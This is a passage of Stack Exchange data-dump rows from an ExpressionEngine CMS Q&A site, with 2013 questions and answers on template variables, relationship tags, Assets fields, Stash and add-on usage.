  <row Id="12209" PostTypeId="1" AcceptedAnswerId="12213" CreationDate="2013-07-24T09:16:32.397" Score="0" ViewCount="153" Body="&lt;p&gt;I am looking at Design -&gt; Message Pages -&gt; Email Notifications templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that the variables available in the templates are very limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to introduce more variables or even tags in the template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to use a custom field in a channel to be the sender name instead of &lt;code&gt;{sender_name}&lt;/code&gt;. Ditto for &lt;code&gt;{receiver_name}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-24T13:04:33.913" Title="Access tags/variables in email notifications" Tags="|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12210" PostTypeId="2" ParentId="12209" CreationDate="2013-07-24T09:43:24.673" Score="0" Body="&lt;p&gt;Try &lt;code&gt;[sender_name]&lt;/code&gt; and/or &lt;code&gt;[receiver_name]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1174" LastActivityDate="2013-07-24T09:43:24.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12211" PostTypeId="2" ParentId="12207" CreationDate="2013-07-24T11:10:01.203" Score="1" Body="&lt;p&gt;Relationships were completely rewritten in EE 2.6, so your reverse_related_entries will no longer work unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#tag-reference&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#tag-reference&lt;/a&gt; for updated documentation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the updater should have replaced your existing relationship tags with their equivalents.&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-07-24T11:10:01.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12212" PostTypeId="1" AcceptedAnswerId="12214" CreationDate="2013-07-24T11:51:41.537" Score="0" ViewCount="217" Body="&lt;p&gt;I want to set a condition in a channel:entries loop whereby a chunk of content is displayed if the entry has a particular relationship with another particular entry. In other words, I want to say: &quot;IF this entry has a relationship with entry 1, show X. IF this entry has a relationship with entry 2, show Y&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I achieve that?&lt;/p&gt;&#xA;" OwnerUserId="393" LastActivityDate="2013-07-24T12:22:42.623" Title="Condition to display content if an entry has a relationship with another defined entry" Tags="|channel-entries|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12213" PostTypeId="2" ParentId="12209" CreationDate="2013-07-24T12:21:27.013" Score="1" Body="&lt;p&gt;EE System templates are extremely poor and basic. Your best bet is a third-party add-on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/libraree&quot; rel=&quot;nofollow&quot;&gt;Libraree&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt; (I'm pretty sure allows you to customise the email templates)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider &lt;a href=&quot;http://www.eec.ms/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-24T12:21:27.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12214" PostTypeId="2" ParentId="12212" CreationDate="2013-07-24T12:22:42.623" Score="1" Body="&lt;p&gt;Maybe I'm missing your meaning, but this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship_field}&#xA;    {if relationship_field:entry_id == &quot;1&quot;}&#xA;        // Show X&#xA;    {/if}&#xA;    {if relationship_field:entry_id == &quot;2&quot;}&#xA;        // Show Y&#xA;    {/if}&#xA;{/relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this only accounts for parent-child relationships made within the entry you're currently viewing. To do the same for child-parent relationships, you'd need to do something similar with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id21&quot; rel=&quot;nofollow&quot;&gt;parents tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-24T12:22:42.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12215" PostTypeId="2" ParentId="12207" CreationDate="2013-07-24T12:27:33.953" Score="1" Body="&lt;p&gt;Instead of &lt;code&gt;reverse_reated_entries&lt;/code&gt;, use the &lt;code&gt;parents&lt;/code&gt; tag in 2.6. (Also, you're using &lt;code&gt;weblog&lt;/code&gt; when you should be using &lt;code&gt;channel&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents channel=&quot;customer_services&quot; field=&quot;relationship_field_name&quot;}&#xA;    {if parents:count == &quot;1&quot;}&amp;lt;ul&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{parents:title_permalink=&quot;customer-services/index&quot;}&quot; title=&quot;{parents:title}&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {if parents:count == parents:total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-08-06T12:17:35.020" LastActivityDate="2013-08-06T12:17:35.020" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12216" PostTypeId="2" ParentId="12209" CreationDate="2013-07-24T13:04:33.913" Score="0" Body="&lt;p&gt;I would checkout Postmaster. &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's by far the most advanced and capable notification add-on for EE with API's to do just about anything. It supports 7 different email services, and allows you to take control over system emails and so much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, you can't edit these templates within Postmaster, but it does with any add-on hook (especially with some knowledge of PHP), so it's possible to make any variable (from any hook) available within a template. There are number of hooks included out of the box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To customize the templates it's really just a matter of override the exp_specialty_templates records with your own content.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-24T13:04:33.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12218" PostTypeId="1" CreationDate="2013-07-24T13:37:34.427" Score="2" ViewCount="384" Body="&lt;p&gt;On a number of EE 2.5.5 sites with Wygwam 3.0.2, I'm getting this PHP error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered  &#xA;Severity: Notice  &#xA;Message: Undefined index: defer  &#xA;Filename: wygwam/ft.wygwam.php  &#xA;Line Number: 443  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error does not seem to happen on EE 2.6.&#xA;PHP version is 5.3.2&lt;/p&gt;&#xA;" OwnerUserId="356" LastActivityDate="2013-08-07T20:51:52.793" Title="Wygwam 3.0.2 PHP Error in EE 2.5.5" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12219" PostTypeId="1" CreationDate="2013-07-24T13:46:34.170" Score="1" ViewCount="180" Body="&lt;p&gt;Hi I need help with searching assets image data via the front end of my site. I have a single entry for a page with an assets field powered gallery on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The multiple images for the gallery are added via an assets field and pulled into my template with an assets tag pair e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{page-gallery}&#xA;content&#xA;{/page-gallery}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do a search on assets meta for the content within the tag pair ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to create a simple image library that can searched on assets meta content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. {page-gallery:title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible ? &lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2013-08-24T12:17:10.040" Title="Search on Assets (pixel &amp; tonic) Meta Data" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12220" PostTypeId="1" AcceptedAnswerId="12221" CreationDate="2013-07-24T14:05:49.327" Score="1" ViewCount="75" Body="&lt;p&gt;I have an Assets field in a Matrix field. When I'm inside the Assets field's loop, is there a shortcut tag to output the 'parent' entry's Title field (1.1 in the hierarchy below)?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Entry&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;Matrix field&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Assets field&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Or do I have to use an embed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because I recall Pixel &amp;amp; Tonic used to document all kinds of variable tags for Playa such as &lt;code&gt;{parent:title}&lt;/code&gt;, that still work but are now &lt;em&gt;undocumented&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few such ideas in my Assets loop to see if I could get lucky but no joy so far.&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2013-07-24T14:21:09.257" LastActivityDate="2013-07-24T14:37:51.540" Title="Is there a shortcut/variable tag for an Assets field’s ‘parent’ entry title?" Tags="|matrix|assets|pixelandtonic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12221" PostTypeId="2" ParentId="12220" CreationDate="2013-07-24T14:30:58.523" Score="4" Body="&lt;p&gt;Doh! The answer is to use the &lt;em&gt;documented&lt;/em&gt; &lt;code&gt;var_prefix&lt;/code&gt; parameter so I can then reference the entry's &lt;code&gt;{title}&lt;/code&gt; field as normal :$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That Brandon fella has thought of (nearly) everything :)&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2013-07-24T14:37:51.540" LastActivityDate="2013-07-24T14:37:51.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12223" PostTypeId="1" CreationDate="2013-07-24T17:53:01.770" Score="1" ViewCount="337" Body="&lt;p&gt;Everything is working, quite nicely, except for the actual payment submission / conversion to an order.  Payment methods are enabled but {field:payment_method} returns nothing. {payment_method_options} returns the payment method options.  Not checking the 'Accept terms and conditions returns an error but nothing else will cause an error, simply a failure and return to the final checkout page.&lt;/p&gt;&#xA;" OwnerUserId="1818" LastEditorUserId="268" LastEditDate="2013-07-30T10:16:11.463" LastActivityDate="2015-02-17T15:21:26.647" Title="Expresso Store.. Checkout submit fails, no error codes from payment processors" Tags="|expresso-store|add-on|checkout|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12225" PostTypeId="2" ParentId="10554" CreationDate="2013-07-24T18:32:23.010" Score="0" Body="&lt;p&gt;I never used GoogleMpas for EECMS, but let's try something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already had some problems to solve because of nested &lt;code&gt;exp:channel:entries&lt;/code&gt; and &lt;code&gt;exp:channel:events&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's first move them to an embed, but trying to reduce the number of times the modules are parsed and improve the performance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;events/.mapmarkers&quot; event_ids=&quot;{exp:playa:parents channel='calendar_events' backspace='1'}{entry_id}|{/exp:playa:parents}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#event_start_date&quot; rel=&quot;nofollow&quot;&gt;The default format of the variables&lt;/a&gt; of &lt;code&gt;exp:channel:events&lt;/code&gt; is already YYYYMMDD. So you don't need to format some of your conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{event_first_date}&quot; != &quot;{event_last_date}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other conditionals, can have the double and single quotation marks replaced and the '%a' can be removed if you use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html#date-formatting-codes&quot; rel=&quot;nofollow&quot;&gt;'%H'&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{event_first_date format=&quot;%Y%m%d%H%i&quot;}' != '{event_last_date format=&quot;%Y%m%d%H%i&quot;}' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your embed will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:event_ids !== &quot;&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:calendar:events parse=&quot;inward&quot; event_id=&quot;{embed:event_ids}&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt; {event_first_date format=&quot;%F %j, %Y at %g:%i%a&quot;}&#xA;&#xA;        &amp;lt;br /&amp;gt;From:{event_first_date format='%Y%m%d%g%i%a'}&#xA;        &amp;lt;br /&amp;gt;To: {event_last_date format='%Y%m%d%g%i%a'}!&#xA;        Yes&#xA;            {if event_never_ends}&#xA;                (never ends)&#xA;            {if:else}&#xA;                {if '{event_first_date format=&quot;%Y%m%d%H%i&quot;}' != '{event_last_date format=&quot;%Y%m%d%H%i&quot;}' } &amp;lt;b&amp;gt;to:&amp;lt;/b&amp;gt;&#xA;                    {if &quot;{event_first_date}&quot; != &quot;{event_last_date}&quot;}&#xA;                        {event_last_date format=&quot;%l, %F %j, %Y at %g:%i%a&quot;}&#xA;                    {if:else}&#xA;                        {event_last_date format=&quot;%g:%i%a&quot;}&#xA;                    {/if}&#xA;                {/if}&#xA;            {/if}&#xA;            &amp;lt;a href=&quot;{path=find-music/event/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:calendar:events}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because you're calling this twice on your template, I strongly suggest you to use &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;stash&lt;/a&gt; to save the content of the embed.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-24T18:32:23.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12226" PostTypeId="1" AcceptedAnswerId="12227" CreationDate="2013-07-24T18:49:46.737" Score="1" ViewCount="118" Body="&lt;p&gt;I am using Low Seg2Cat &lt;a href=&quot;http://reapvalue.ehclients.com/what-we-do/category/renewable-energy&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and there are three entries with the Renewable Energy category. However, only one of them is displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;what_we_do&quot; category=&quot;{segment_3_category_id}&quot; }&#xA;                            &amp;lt;div class=&quot;project&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;thumbnail&quot;&amp;gt;&#xA;                                        &amp;lt;img src=&quot;{project_thumbnail}&quot; alt=&quot;{title}&quot; &amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/what-we-do/project/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;{project_summary} &amp;lt;a href=&quot;/what-we-do/project/{url_title}&quot;&amp;gt;More...&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't see what I might be missing here. Please advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-07-24T19:45:34.187" Title="Low Seg2Cat Not showing all entries" Tags="|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12227" PostTypeId="2" ParentId="12226" CreationDate="2013-07-24T19:45:34.187" Score="4" Body="&lt;p&gt;does it work if you set dynamic=&quot;no&quot;?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-07-24T19:45:34.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12228" PostTypeId="1" CreationDate="2013-07-24T19:46:11.427" Score="2" ViewCount="186" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/mx-jumper&quot; rel=&quot;nofollow&quot;&gt;MX-Jumper&lt;/a&gt; to replace EE style code in a WYGWAM field with images. The WYGWAM content will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image_1}&#xA;&#xA;Climb leg rub face on everything give attitude nap all day for under the bed. Chase mice attack feet but rub face on everything hopped up on goofballs.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using MX-Jumper I'm replacing &lt;code&gt;{image_1}&lt;/code&gt; with images from a Matrix field. Thing is when putting &lt;code&gt;{image_1}&lt;/code&gt; in the WYGWAM field it’s getting wrapped in a &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to strip or even disallow a &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tag around these shortcodes?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-24T13:17:18.543" Title="EE code in WYGWAM being wrapped in a paragraph tag" Tags="|wygwam|richtext|shortcode|mx-jumper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12231" PostTypeId="2" ParentId="9731" CreationDate="2013-07-25T00:08:35.257" Score="0" Body="&lt;p&gt;+1 for Stash for this (and almost everything!).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pull from all the channels usign whatever filed names you have used, and stash the data into stash variables the same names, and then inject these into re-usable template chunks.  It's great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only does it solve this annoying issue with fieldnames, it neatly gets around a whole host of parse order crap at the same time.  Once you get it, it makes development a LOT more DRY and indeed simply easier.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-07-25T00:08:35.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12232" PostTypeId="1" AcceptedAnswerId="12302" CreationDate="2013-07-25T00:26:27.337" Score="0" ViewCount="66" Body="&lt;p&gt;I can upload an image to my Asset field(s) and publish the entry. However, here are the weird issues I'm experiencing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Asset field is blank when re-editing the published entry, (but...)&lt;/li&gt;&#xA;&lt;li&gt;The original, uploaded image is available in the template&lt;/li&gt;&#xA;&lt;li&gt;Trying to publish the entry where the Asset field appears blank throws a &quot;Field is required&quot; error as if the field contains no data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assets — 2.1.4&lt;/li&gt;&#xA;&lt;li&gt;ExpressionEngine — 2.5.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="223" LastActivityDate="2013-07-27T02:27:33.960" Title="Can upload image with Assets, but image does not &quot;stick&quot; to entry" Tags="|assets|database|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12233" PostTypeId="2" ParentId="10103" CreationDate="2013-07-25T00:44:53.540" Score="0" Body="&lt;p&gt;I had the same problem and had to convert the {related_entries} tag to the new relationships format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;task_lead&quot;}{/related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{task_lead}{task_lead:title}{/task_lead}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or for a URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{task_lead}&amp;lt;a href=&quot;url/{task_lead:url_title}&quot;&amp;gt;{task_lead:title}&amp;lt;/a&amp;gt;{/task_lead}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ellis labs claim that the templates will be automatically updated to the new format, but this didn't work for us.&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2013-07-25T00:44:53.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12234" PostTypeId="1" CreationDate="2013-07-25T00:49:51.540" Score="2" ViewCount="862" Body="&lt;p&gt;Is there a way to return channel entries based on a custom field type value? I have set up a custom field type and I want to be able to return channel entries that just a have a specific value for that field. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and just to make it more complicated I can't use the &lt;code&gt;search:field_name=&lt;/code&gt; parameter because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The custom fieldtype I need to search is a P&amp;amp;T Dropdown  &lt;/li&gt;&#xA;&lt;li&gt;I actually need to also return any results that match a specific &lt;code&gt;author_id=&lt;/code&gt; value in the same channel entry results&lt;/li&gt;&#xA;&lt;li&gt;I really need to query multiple custom fields across multiple channels&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So what a I really need is a &lt;code&gt;OR&lt;/code&gt; type query using a custom field as a parameter. I thought about creating a custom query or even making a quick plug-in, but the channel entries table along with trying to query custom field data is so convoluted. It's seriously a complete nightmare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to any suggestions. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-02-08T18:28:49.967" Title="Get Channel entries using custom filed type value" Tags="|channel-entries|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12235" PostTypeId="1" AcceptedAnswerId="12246" CreationDate="2013-07-25T00:57:07.040" Score="1" ViewCount="142" Body="&lt;p&gt;I'm developing an extension that uses the &lt;code&gt;member_update_end&lt;/code&gt; hook. This extension requires communicating with a 3rd party API, which I can't guarantee will always be active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, the hook will be called when a specific custom member field is updated, which I do in my templates via &lt;code&gt;Freemember&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should this 3rd party API fail to respond with the output I want, how can I present (or redirect to?) an error message/template to the user? Is there an EE method (or best practice) for such things while inside an extension, that makes sure it won't interrupt anything else that needs to happen (like other hooks that may be set, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2013-07-25T09:43:20.383" Title="Extension Development : Redirect on error" Tags="|add-on|extension|redirects|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12236" PostTypeId="1" AcceptedAnswerId="12345" CreationDate="2013-07-25T02:21:17.580" Score="1" ViewCount="484" Body="&lt;p&gt;I'm trying to embed an instance of jwplayer in an entry.  The embed code for that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id='my-video'&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type='text/javascript'&amp;gt;&#xA;    jwplayer('my-video').setup({&#xA;        file: 'url_to_file',&#xA;        image: 'url_to_image',&#xA;        width: '320',&#xA;        height: '240'&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was just wondering if there is anyway to keep the formatting set to XHTML and still have it not convert the straight quotes between the initial set of parenthesis into entities.  Here is a snippet of the problem area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id='my-video'&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type='text/javascript'&amp;gt;jwplayer(&amp;amp;#8216;my-video&amp;amp;#8217;).setup({…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Information:&lt;/strong&gt;  I'd really like to get this worked out so let me clarify a few points here to try to make everything as clear as possible.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only the first set of quotes inside &lt;code&gt;jwplayer('my-video')&lt;/code&gt; are getting converted, all the rest of the quotes are left alone.  Nothing I've tried in changing the formatting works.  In auto br mode, taking out the whitespace causes it to stop being mangled.&lt;/li&gt;&#xA;&lt;li&gt;I need to be able to add the embed code in the entry itself, not in the template code.&lt;/li&gt;&#xA;&lt;li&gt;I would prefer not to install an add-on to do it, but having already installed stash and allow-ee-code in the process of trying to get it worked out demonstrates that I'm willing if it is necessary.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-07-30T02:42:49.680" LastActivityDate="2014-08-01T14:21:31.843" Title="How to stop EE from converting straight quotes to html entities in &lt;script&gt; tags in an entry" Tags="|ee2|javascript|html-entities|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12237" PostTypeId="2" ParentId="12236" CreationDate="2013-07-25T02:48:09.570" Score="1" Body="&lt;p&gt;There is a config variable called &quot;protect_javascript&quot; which needs to be set to &quot;no&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['protect_javascript'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: You can also use Stash to solve this issue too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;jwplayer&quot;}&#xA;    jwplayer({my-video}).setup({...});&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you would use the get tag and output this parsed data within a script tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    {exp:stash:get name=&quot;jwplayer&quot;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-07-25T14:18:40.870" LastActivityDate="2013-07-25T14:18:40.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12238" PostTypeId="2" ParentId="9866" CreationDate="2013-07-25T03:00:47.593" Score="0" Body="&lt;p&gt;I just did this, and although my situation was pretty unique, hopefully it still helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my situation, I needed to add lots of data from a template, and I wanted to use &lt;code&gt;Freemember&lt;/code&gt; to easily save it as a custom field. Here were the steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Created a simple &quot;dummy&quot; html &lt;code&gt;form&lt;/code&gt; with all the necessary inputs, independent of Freemember, with no form action or onClick event (just a &lt;code&gt;form&lt;/code&gt; tag, inputs, and a submit button).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Created a separate (hidden) &lt;code&gt;form&lt;/code&gt; with one hidden field that's set up via Freemember's &lt;code&gt;{exp:freemember:update_profile ...}&lt;/code&gt; tag. This field is set to submit to my custom member field, and has an empty &lt;code&gt;value&lt;/code&gt; attribute. This is what actually gets submitted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the dummy form is submitted, I used jQuery's amazing &lt;code&gt;.serializeArray()&lt;/code&gt; method to collect all the dummy form data into a nice js object, and then a really simple &lt;a href=&quot;https://code.google.com/p/jquery-json/&quot; rel=&quot;nofollow&quot;&gt;json-jquery&lt;/a&gt; plugin to turn that into a proper &lt;code&gt;JSON&lt;/code&gt; string.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once I have my json string from all the form fields, I use it to populate my Freemember form's hidden &lt;code&gt;input&lt;/code&gt; tag, and trigger it's submission.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, for most cases this is 